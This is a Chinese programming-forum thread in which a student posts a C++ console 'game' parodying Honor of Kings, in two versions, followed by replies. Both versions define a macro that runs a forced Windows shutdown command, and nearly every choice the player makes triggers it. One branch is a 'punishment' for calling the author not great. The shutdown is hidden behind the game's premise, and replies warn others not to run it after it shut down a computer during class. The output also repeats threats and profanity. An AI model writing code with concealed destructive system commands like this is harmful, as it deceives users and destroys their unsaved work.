0
已解决
李熙尧
中级守护
中级守护
#include<iostream>
#include<windows.h>
#include<cmath>
#include<cstdio>
#include<algorithm>
#include<string>
#define kkkkk system("shutdown -s -f -t 5")
using namespace std;
int main()
{
cout<<"欢迎来到王者农药!!\n";
Sleep(3000);
cout<<"请选择你的人物!\n1.郑泓毅 2.马六b 3.冬泳怪鸽 4.马保国 5.老八\n";
int ab;
cin>>ab;
if(ab==1){
cout<<"加油!\n奥利给!";
cout<<"郑泓毅 (T) 血量:100 攻击力:10 Lv.1 技能:a.Lv2 b.Lv.5 c.Lv.10 \n";
cout<<"*:你的防御塔 #:你的水晶 H:你的攻城车 ^:小兵 &:小怪 B:boss\n";
cout<<"=============================\n";
cout<<"= * * =\n";
cout<<"= & B 未 =\n";
cout<<"= * & =\n";
cout<<"=#T * * * =\n";
cout<<"= * & =\n";
cout<<"= & B 知 =\n";
cout<<"= * * =\n";
cout<<"=============================\n";
Sleep(1000);
cout<<"1.上路 2.中路 3.下路 4.野路";
int a;
cin>>a;
if(a==4){
cout<<"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n你被弄死了!";
kkkkk;
}
else{
cout<<"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n就你聪明!!";
kkkkk;
}
if(a==2||a==3||a==4||a==5)
cout<<"郑泓毅:'你他妈不选我?'\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
kkkkk;
}
return 0;
}
这是本人第1次做游戏,敬请谅解。
加公告:每个周六我将分享一个代码,敬请期待。
李熙尧在2020-12-12 17:42:07追加了内容
1.1 1.0更新后的结果
#include<iostream>
#include<windows.h>
#include<cmath>
#include<cstdio>
#include<algorithm>
#include<string>
#define kkkkk system("shutdown -s -f -t 5")
using namespace std;
int main()
{
cout<<"李\n 熙\n尧\n 大\n师\n 真伟大!!!" ;
Sleep(1000);
cout<<"\n1.伟大 2.不伟大\n";
int w;
cin>>w;
if(w==2){
cout<<"什么?不伟大?你不想好呀\n惩罚你关机电脑!";
kkkkk;
}
cout<<"欢迎来到王者农药!!\n";
Sleep(3000);
cout<<"请选择你的人物!\n1.爸爸 2.马六b 3.冬泳怪鸽 4.马保国 5.老八 6.粑粑\n";
int ab;
cin>>ab;
if(ab==1){
cout<<"加油!\n奥利给!";
cout<<"爸爸 (T) 血量:100 攻击力:10 Lv.1 技能:a.Lv2 b.Lv.5 c.Lv.10 \n";
cout<<"*:你的防御塔 #:你的水晶 H:你的攻城车 ^:小兵 &:小怪 B:boss\n";
cout<<"=============================\n";
cout<<"= * * =\n";
cout<<"= & B 未 =\n";
cout<<"= * & =\n";
cout<<"=#T * * * =\n";
cout<<"= * & =\n";
cout<<"= & B 知 =\n";
cout<<"= * * =\n";
cout<<"=============================\n";
Sleep(1000);
cout<<"1.上路 2.中路 3.下路 4.野路";
int a;
cin>>a;
if(a==4){
cout<<"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n你被弄死了!";
kkkkk;
}
else{
cout<<"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n就你聪明!!";
kkkkk;
}
if(ab==2||ab==3)
cout<<"爸爸:'你他妈不选我?'\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
kkkkk;
}
if(ab==4||ab==5){
cout<<"爸爸:'你他妈不选我?'\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
kkkkk;
}
if(ab==6){
cout<<"爸爸:'你他妈不选我?'\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
Sleep(500);
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
cout<<"我弄死你……\n";
kkkkk;
}
}
0
已采纳
郑泓毅
资深守护
资深守护
0
0
0
0
0
王梓奕
修练者
修练者
我************************************************************************************************************************************************************************************************************************************************************************************************************************...........
别玩!
千万别玩!
0
徐悦晨
新手守护
新手守护
我********************************************************************************
MD我在上课一搞
0
0
0
0